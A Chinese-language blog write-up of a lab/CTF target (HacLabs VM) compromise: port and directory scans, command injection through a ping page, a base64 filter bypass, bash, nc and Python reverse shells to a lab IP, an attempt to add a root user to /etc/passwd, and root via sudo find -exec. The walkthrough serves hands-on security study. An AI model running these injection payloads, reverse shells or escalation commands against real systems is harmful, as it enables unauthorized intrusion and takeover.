实战打靶集锦-005-HL

news2024/9/24 11:30:45

**写在前面:**记录一次曲折的打靶经历。

目录

  • 1. 主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. 服务探查
    • 4.1 浏览器访问
    • 4.2 目录枚举
    • 4.3 探查admin
    • 4.4 探查index
    • 4.5 探查login
  • 5 公共EXP搜索
  • 6. 再次目录枚举
    • 6.1 探查superadmin.php
    • 6.2 查看页面源代码
    • 6.3 base64绕过
    • 6.4 构建反弹shell
  • 7. 突破边界
  • 8 提权
    • 8.1 探查/etc/passwd文件
    • 8.2 枚举操作系统信息
    • 8.3 枚举可执行文件
    • 8.4 枚举定时任务
    • 8.5 公共EXP搜索
      • 8.5.1 EXP 46978
      • 8.5.2 EXP 50135
      • 8.5.3 EXP 47163
      • 8.5.4 在linux mint下编译
        • 8.5.4.1 EXP 46978
        • 8.5.4.2 EXP 50135
        • 8.5.4.3 EXP 47163
    • 8.6 探查其它用户
      • 8.6.1 haclabs用户
        • 8.6.1.1 探查home目录
        • 8.6.1.2 探查haclabs可读可写的目录
      • 8.6.2 yash用户
        • 8.6.2.1 探查home目录
        • 8.6.2.2 查找隐藏文件
        • 8.6.2.3 突破用户边界
    • 8.7 再次探查haclabs用户
  • 9 获取flag


1. 主机发现

目前只知道目标靶机在56.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.56.0/24

在这里插入图片描述
锁定靶机IP地址为56.108。

2. 端口扫描

对目标靶机进行全端口扫描。

$ sudo nmap -p- 192.168.56.108

在这里插入图片描述
这个靶机有点意思,只开了一个80端口。

3. 服务枚举

按照惯例进行一下服务枚举。

$ sudo nmap -p80 -A -sV -sT 192.168.56.108

在这里插入图片描述
从上述信息来看,目标靶机80端口上运行的是Apache的2.4.29版本;并且通过-A参数顺带得知了主机的操作系统应该是Ubuntu,内核版本可能是4.15~5.6之间。

4. 服务探查

就一个web服务,直接勘探一下吧。

4.1 浏览器访问

通过浏览器访问目标靶机的80端口看看。
在这里插入图片描述
页面有些诡异,看不出啥名堂,随便输入一个内容(test_things字符串)提交一下看看。
在这里插入图片描述
还是看不出啥,但是感觉跟ping也没啥关系啊;直接输入1000个字符A试试看。
在这里插入图片描述
还是没啥异样,暂时到这里,然后做一下目录枚举。

4.2 目录枚举

$ dirsearch -u http://192.168.56.108

在这里插入图片描述
一如既往地存在admin和login。
再用nikto试一下。

$ nikto -h http://192.168.56.108

在这里插入图片描述
没有太多干货,只是知道了没有CGI目录。

4.3 探查admin

既然admin目录返回的是200,那就先进去探查一下吧。
在这里插入图片描述
没啥实际内容,就是HacLabs的三个静态图片,有点坑。

4.4 探查index

在这里插入图片描述
这还是我们第一次用浏览器访问80端口时看到的内容,直接跳过吧。

4.5 探查login

在这里插入图片描述
感觉/index.php/login和/index.php页面是一样的,没有什么区别,还是输入内容提交一下试试看吧,省的遗漏点啥。
在这里插入图片描述
确实没啥,就算我输入10000个字符也是一样的。

5 公共EXP搜索

到目前为止一无所获,直接搜索一下对应版本的Apache漏洞试试看。
在这里插入图片描述
在得到php的具体版本之前,貌似只有一个EXP相对靠谱一些。既然只开放了一个80端口,那就先把这个EXP弄下来看看再说吧。
说明:这种漏洞是不是只能用来提权,不能用于突破边界?个人不是很理解。
在这里插入图片描述
看了一下代码前面的注释,这个EXP基本上没法用。感觉抓瞎了,无所适从。

6. 再次目录枚举

有没有可能还有没有枚举干净的目录内容呢,使用dirb,挂载big.txt字典试试看。

$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt
$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt -X .php
$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt -X .html
$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt -X .htm

在这里插入图片描述
又扫描出来一个之前没见过的页面 superadmin.php,用浏览器进去看看。
在这里插入图片描述

6.1 探查superadmin.php

有意思,貌似是一个测试ping的页面,直接输入目标靶机的IP地址,并开启开发者工具看一下。
在这里插入图片描述
可以正常ping,但是POST请求和响应都是空空如也。不过,既然这里可以提交IP地址进行ping,是不是也可以执行其它的指令呢?分别在IP地址后面添加|、||、&、&&然后再加上其它shell(这里是id)试试看,主要是本人shell还不够扎实,但是知道这几个玩意儿可以拼接命令执行。
当用“|”时,不管IP地址通不通都会执行后面的内容。
在这里插入图片描述
当用“||”时,若IP不通,则会执行“||”之后的内容;如果IP通,则不会执行“||”之后的内容。
在这里插入图片描述
当用&或者&&时,不管IP通不通都不会执行后面的内容。所以最终的规则可以直接用IP地址加“|”,然后后面跟上要执行的指令。

192.168.56.108 | whoami

在这里插入图片描述

192.168.56.108 | uname -a

在这里插入图片描述
从这里可以看出,靶机版本是ubuntu的18.04.1,内核版本是5.0.0-23。这里简单试了一下,有些命令是没法执行的,比如pwd。

6.2 查看页面源代码

试来试去没啥意思,直接看看页面源代码。在superadmin.php页面上右键菜单中的“View Page Source”,查看页面源代码。
在这里插入图片描述
看不见实质的内容,可能是做了处理,直接cat一下看看。

192.168.56.108 | cat superadmin.php

在这里插入图片描述
页面变得有些奇怪了,这个时候再右键看看页面源代码。
在这里插入图片描述
可以看出,有些字符是被过滤掉的,这也解释了前面ls、pwd、nc没法执行的原因。

6.3 base64绕过

有没有可能通过编码绕过这些检查呢?自然而然我们想到了base64,我们先用“ls”试试看。
在这里插入图片描述
接下来,我们用base64编码后的字符串“bHMK”代替原来的“ls”。

192.168.56.108 | echo bHMK | base64 -d

在这里插入图片描述
感觉貌似执行了,但是挺奇怪的,没有列出结果,也可能执行成功了,先假定执行成功吧。

6.4 构建反弹shell

用下面的命令构建反弹shell的base64编码。

$ echo 'bash -i 2>&1|nc 192.168.56.107 5555' | base64

在这里插入图片描述
在kali主机上开启监听。
在这里插入图片描述
然后在页面输入下面的代码,看是否能够成功建立反弹shell。

192.168.56.108 | echo YmFzaCAtaSAyPiYxfG5jIDE5Mi4xNjguNTYuMTA3IDU1NTUK | base64 -d

在这里插入图片描述
好奇怪,命令执行了,但是没有成功建立反弹shell。会不会是在“|”的两边有空格的原因?把所有“|”两侧的空格都去掉,改成如下的样子试试看。

192.168.56.108|echo YmFzaCAtaSAyPiYxfG5jIDE5Mi4xNjguNTYuMTA3IDU1NTUK|base64 -d|bash

在这里插入图片描述
这次查看监听页面,有反应了。
在这里插入图片描述
原来是空格在搞鬼,虽然我不知道其所以然,但是我知道我的shell确实不扎实。

7. 突破边界

仔细查看,虽然在5555端口上的监听有反应,但是不正常,自动携带了一个exit命令。并且后面再输入其它指令的时候,都没有反映。
在这里插入图片描述
这显然不是我们期望的结果,问题应该还是出在我构建的反弹shell上,重新构建一下。

$ echo 'bash -i >& /dev/tcp/192.168.56.107/5555 0>&1' | base64

在这里插入图片描述

$ echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwNy81NTU1IDA+JjEK | base64 -d

在这里插入图片描述
重新开启监听。
在这里插入图片描述
重新在superadmin页面提交如下的内容。

|echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwNy81NTU1IDA+JjEK | base64 -d | bash

在这里插入图片描述
再回来检查监听页面。
在这里插入图片描述
这次貌似反弹的shell是成功的,试一下看看。
在这里插入图片描述
确认可用。

8 提权

既然已经突破边界,接下来就是提权了。

8.1 探查/etc/passwd文件

在这里插入图片描述
从这里可以看出,相对比较正常的两个用户是haclabs和yash,说不定我们后面提权时需要借用。
接下来尝试向/etc/passwd中写入一个账号。先生成密码。
在这里插入图片描述
通过echo尝试写入。

$ echo "testuser:$1$siK3z8CH$hDiLkGwhwfEg.gRjK5Rb4.:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
写入失败,没权限。

8.2 枚举操作系统信息

在这里插入图片描述
挺好玩儿的,两个命令查询出来的结果有些差异,先不理会这一块,再看一下操作系统位数。
在这里插入图片描述
64位的。

8.3 枚举可执行文件

用下面的命令,搜索一下root用户所有的,其它用户可读可写的可执行文件。

$ find / -type f -user root -perm -o=w 2>/dev/null

在这里插入图片描述
并没有发现我们感兴趣的内容,然后搜索一下带有SUID标记的二进制文件。

$ find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
也没有实际可用的内容,直接用sudo -l查看一下试试。
在这里插入图片描述
嗯,也没有权限。

8.4 枚举定时任务

通过下面的命令枚举一下系统上的定时任务信息。

$ cat /etc/crontab

在这里插入图片描述
没有可以利用的定时任务。

8.5 公共EXP搜索

搜索一下对应版本的操作系统和内核,看看有没有合适的提权漏洞可以直接利用。
在这里插入图片描述
在这里插入图片描述
Ubuntu的18.04有一个提权漏洞,linux内核上也有两个提权漏洞跟我们的版本匹配,逐个试一下。

8.5.1 EXP 46978

先打开代码看一下,整体上比较清晰,尤其是注释写的很完善(其它我也看不懂)。
在这里插入图片描述
一步一步执行,先在kali上下载build-alpine。

$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

在这里插入图片描述
然后在kali上切换到root进行编译。

$ su root
# bash build-alpine

在这里插入图片描述
经过几分钟之后,build结束,如上所示,忽略掉相关的warning信息。
退出root用户(要养成好习惯,及时退出root用户),在当前目录建立http服务。

$ python3 -m http.server 80

在这里插入图片描述
从靶机上下载我们build好的文件以及EXP脚本。
在这里插入图片描述
直接查一下当前用户可写的目录。

$ find / -writable -type d 2>/dev/null

在这里插入图片描述
换到/tmp目录再试一下。

$ wget http://192.168.56.107/46978.sh
$ wget http://192.168.56.107/alpine-v3.17-x86_64-20230206_2150.tar.gz

在这里插入图片描述
下载成功了,接下来通过如下命令运行一下漏洞利用shell。

$ sh 46978.sh -f alpine-v3.17-x86_64-20230206_2150.tar.gz

在这里插入图片描述
额,报错了,看看脚本第13行是啥。
在这里插入图片描述
感觉应该还是shell问题导致的,改成sh执行。
在这里插入图片描述
还是报错了,缺少lxc,先放一边。

8.5.2 EXP 50135

先打开代码看一下。
在这里插入图片描述
写的还算比较明白,直接上手编译。

$ gcc -m32 -static -o 50135 50135.c

在这里插入图片描述
错误较多,暂时放弃。

8.5.3 EXP 47163

先打开代码看一下。
在这里插入图片描述
写的很清楚,直接上手编译。

$ gcc -s 47163.c -o 47163

在这里插入图片描述
编译没报错,然后上传到目标靶机运行一下。
在这里插入图片描述
还是编译问题,目前来看解决的唯一办法是用跟目标靶机相同的版本或者相近的版本编译。该EXP的代码注释行中写的比较明确,作者使用的是linux mint的19.2版本,下载linux mint的19.2版本64位安装到VMware试一下,过程不再赘述。

8.5.4 在linux mint下编译

8.5.4.1 EXP 46978

在19.2版本的linux mint下,采用同样的方式build。

$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

在这里插入图片描述
然后在mint上切换到root进行编译。

$ su root
# bash build-alpine

所有正常执行,接下来上传到目标靶机,跟之前一样执行一下,不再赘述。
在这里插入图片描述
还是失败了,缺少lxc,跟之前的错误一样,只能放弃。

8.5.4.2 EXP 50135

在19.2版本的linux mint下,采用同样的方式编译。
在这里插入图片描述
还是报同样的错。

8.5.4.3 EXP 47163

在19.2版本的linux mint下,采用同样的方式编译。
在这里插入图片描述
还不如在kali上效果好,直接编译失败。

8.6 探查其它用户

当所有的EXP都没有利用成功的时候,回顾我们前面的过程,我们还有可能利用的是前面/etc/passwd中的两个用户haclabs和yash。接下来我们逐个探查一下这两个用户。

8.6.1 haclabs用户

8.6.1.1 探查home目录

通过下面的命令,先看看haclabs的home目录下有些什么内容。

$ ls -lah /home/haclabs

在这里插入图片描述
看名字还挺有意思的,逐个进去看一下,没有发现什么有价值的内容。

8.6.1.2 探查haclabs可读可写的目录

通过下面的命令,先看看haclabs可读可写的隐藏文件

$ find / -type f -user haclabs -perm -o=w 2>/dev/null

在这里插入图片描述
竟然查出来是空的,暂时放一边。

8.6.2 yash用户

8.6.2.1 探查home目录

用同样的方法,看看yash的home目录下有些什么内容。

$ ls -lah /home/yash

在这里插入图片描述
这个目录下也有些文件,逐个进去看看,终于在最后的flag1.txt文件中发现了一些端倪。
在这里插入图片描述
我去,把其它用户的密码放到一个隐藏文件中,这非常符合靶机的尿性啊,就认定它了。

8.6.2.2 查找隐藏文件

通过下面的命令查找一下yash用户可以读写的隐藏文件。

$ find / -type f -name ".*" -user yash 2>/dev/null

在这里插入图片描述
这个.passwd文件挺有意思啊,进去看看里面有些啥。
在这里插入图片描述
切换到haclabs用户。
在这里插入图片描述
貌似终端还是有些问题,上网搜索一下,可以用如下的办法进行终端优化。

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

8.6.2.3 突破用户边界

再次尝试切换到haclabs。
在这里插入图片描述
这次成功了,简单检查一下。
在这里插入图片描述
这应该是正常的shell。

8.7 再次探查haclabs用户

既然突破到了haclabs用户,这次直接查找带有SUID标记的二进制文件。

$ find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
貌似可以直接运行sudo命令,查了一下可以使用nc命令,直接用sudo命令构建反弹shell试试看。

$ sudo nc 192.168.56.107 8888

在这里插入图片描述
额,失败了,不允许以sudo的方式运行nc。再用python构建反弹试试看。
通过echo命令将如下的代码写到python脚本中。

import os, subprocess, socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.107',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])

最终效果如下。
在这里插入图片描述
在kali上开启8888端口的监听,sudo运行一下写好的python脚本试试看。
在这里插入图片描述

$ sudo python3 revers.py

在这里插入图片描述
哈哈,碰壁了,同样的问题。再回过头来检查一下带有SUID标记的查询结果,里面有个“/usr/bin/passwd”,尝试用这个修改一下root用户的passwd试试看。
在这里插入图片描述
看来这条路走不通,貌似在该用户下面没有运行sudo -l查看sudo权限,运行一下试试看。
在这里插入图片描述
额,貌似是说/usr/bin/find可以直接不用密码运行?但是find命令咋提权啊!问问度娘,find还真的可以用于提权,直接上命令。

$ sudo find aaaa -exec “/bin/sh” \;

大概的意思是,如果能够找到aaaa,则通过-exec执行/bin/sh命令,最后的;是要执行的命令的结束符?所以我们最终的提权命令如下。

$ sudo find /usr/bin/find -exec /bin/sh \;

说明:因为/usr/bin/find是find命令本身的路径,所以一定是存在的,接下来直接执行/bin/sh,运行结果如下。
在这里插入图片描述
命令提示符变成了#,看来是提权成功了。

9 获取flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/340792.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JointBERT代码复现详解【下】

BERT for Joint Intent Classification and Slot Filling代码复现【下】 链接直达:JointBERT代码复现详解【上】 四、模型训练与评估 Trainer training:梯度更新evaluate:评估序列标注任务如何得到预测结果、评估函数 1.初始化准备 def …

【Unity3D】Shader常量、变量、结构体、函数

1 源码路径 Unity Shader 常量、变量、结构体、函数一般可以在 Unity Editor 安装目录下面的【Editor\Data\CGIncludes\UnityShader】目录下查看源码,主要源码文件如下: UnityCG.cgincUnityShaderUtilities.cgincUnityShaderVariables.cginc 2 Shader 常…

大数据技术架构(组件)33——Spark:Spark SQL--Join Type

2.2.2、Join Type2.2.2.1、Broadcast Hash Join (Not Shuffled)就是常说的MapJoin,join操作在map端进行的。场景:join的其中一张表要很小,可以放到Driver或者Executor端的内存中。原理:1、将小表的数据广播到所有的Executor端,利用collect算子…

微信小程序 数据绑定 Mustache语法怎么使用?

1.数据绑定的基本原则 ①在data中定义数据 ②在WXML中使用数据、 在页面对应的 .js 文件中。把数据定义到data对象中即可 在WXML文件中使用{{}}两个花括号加变量名称进行调用 以上使用方法,下面我么来实操 Mustache语法主要使用场景如下: 文本内容绑定 组件属性绑定…

Service

目录 文章目录目录本节实战1、Service1.Service概念2.Service存在的意义3.Pod与Service的关系2、三种IP3、定义 Service4、kube-proxy1.iptables2.ipvsiptables vs ipvs5、Service常见类型1.ClusterIP2.NodePort3.LoadBalancer4.ExternalName5.externalIPs6、Endpoints 与 Endp…

Java基础常见面试题(三)

String 字符型常量和字符串常量的区别? 形式上: 字符常量是单引号引起的一个字符,字符串常量是双引号引起的若干个字符; 含义上: 字符常量相当于一个整型值( ASCII 值),可以参加表达式运算;字符串常量代表一个地址值…

STC15读取内部ID示例程序

STC15读取内部ID示例程序🎉本案例基于STC15F2K60S2为验证对象。 📑STC15 ID序列介绍 STC15系列STC最新一代STC15系列单片机出厂时都具有全球唯一身份证号码(ID号)。最新STC15系列单片机的程序存储器的最后7个字节单元的值是全球唯一ID号,用…

使用阿里云IoT Studio建立物模型可视化界面

使用阿里云IoT Studio建立物模型可视化界面 上一篇文章介绍了如何使用ESP-01S上报数据到物模型:https://blog.csdn.net/weixin_46251230/article/details/128996719 这次使用阿里云IoT Studio建立物模型的Web页面 阿里云IoT Studio: https://studio.i…

02 图像通道处理

1 通道提取与合并 在数字图像处理中,图像通道是指一个图像中的颜色信息被分离为不同的颜色分量。常见的图像通道包括RGB通道、灰度通道、HSV通道等。 RGB通道是指将图像分离为红色、绿色和蓝色三个颜色通道,每个通道表示相应颜色的亮度。这种方式是最常…

RuntimeError: CUDA out of memory

今天在训练模型的时候突然报了显存不够的问题,然后分析了一下,找到了解决的办法,这里记录一下,方便以后查阅。 注:以下的解决方案是在模型测试而不是模型训练时出现这个报错的! RuntimeError: CUDA out of…

基于JavaEE的智能化跨境电子商务平台的设计

技术:Java、JSP、框架等摘要:伴随着近年来互联网的迅猛发展,网上零售逐渐成为了一种影响广泛、方便快捷的购物渠道。我国网上零售业发展的步伐很快。在如今经济全球化的影响下,消费者的网购行为趋于开放化、多元化,对于…

设计模式-中介者模式详解

定义 中介模式的英文翻译是 Mediator Design Pattern。在 GoF 中的《设计模式》一书中,它是这样定义的: Mediator pattern defines a separate (mediator) object that encapsulates the interaction between a set of objects and the objects delega…

chatGPT都可以干什么呢?来一睹风采吧

文章目录1. 写代码2. 写文案3. 写剧本4. 写歌诗5. 写报告6. 查公式7. 写对联8. 写文章9. 做表格10. 做计划11. 等等1. 写代码 2. 写文案 3. 写剧本 4. 写歌诗 5. 写报告 这妥妥的翻译文,数据完全不对。 6. 查公式 傅里叶变换的时域性质有如下几点: 对…

Android 内存优化(基础轮)必看~

本次分享主要分为五个部分内容,第一部分内容是 5W2H 分析内存优化,第二部分内容是内存管理机制,第三部分内容是内存优化 SOP,第四部分内容是 内存优化指导原则, 最后一部分内容是总结与展望。 如果学完内存优化的基础论…

webgl深入理解视图矩阵

文章目录前言三角形构成三维物体视点、目标、正方向视图矩阵辅助函数:归一化、向量差、点积、叉积视图矩阵的数学表示与使用视图矩阵构建三维世界注意前言 在前面的学习中,已经得知了webgl是如何绘制二维图形,并进行仿射变换(矩阵…

mysql的架构图

Mysql逻辑架构图主要分三层:1) 第一层负责连接处理,授权认证,安全等等每个客户端连接都会在服务器进程中拥有一个线程,服务器维护了一个线程池,因此不需要为每一个新建的连接创建或者销毁线程。当客户端连接到Mysql服务…

基于JavaEE的“三味”书屋网上售书系统

技术:Java、JSP等摘要:美国最先提出Internet的概念,如今,全球各地的人们纷纷加入到这个网络行列, 使 Internet 真正走向全球化。随着用户、网民越来越多,网络的范围也愈来愈大,领域也慢慢走向了多元化,一体化 。“三味”书屋设计就是网络浪潮…

GORM设计原理和实践(七)——GORM

文章目录一、重点内容:1、GROM设计原理2、GROM配置3、GROM使用即CRUD二、详细知识点介绍:1、GORM设计原理图2、SQL是怎么生成的3、GROM配置开启go model设置go model输入代理:导入依赖:4、GROM操作初体验代码:5、模型定…

【Shell1】shell语法,ssh/build/scp/upgrade,环境变量,自动升级bmc

文章目录1.shell语法:shell是用C语言编写的程序,是用户使用Linux的桥梁,硬件>内核(os)>shell>文件系统1.1 变量:readonly定义只读变量,unset删除变量1.2 函数:shell脚本传递的参数中包含空格&…

app逆向篇之安卓模拟器环境搭建

前言 本教程适配:安卓7以上的安卓模拟器(包括雷电9等安卓9的模拟器) 准备工具 雷电模拟器面具debug版LSPosed 正式步骤 安装雷电模拟器,这里怎么安装就不需要说了吧安装好雷电模拟器之后应该能够在桌面上看到两个图标,如下: …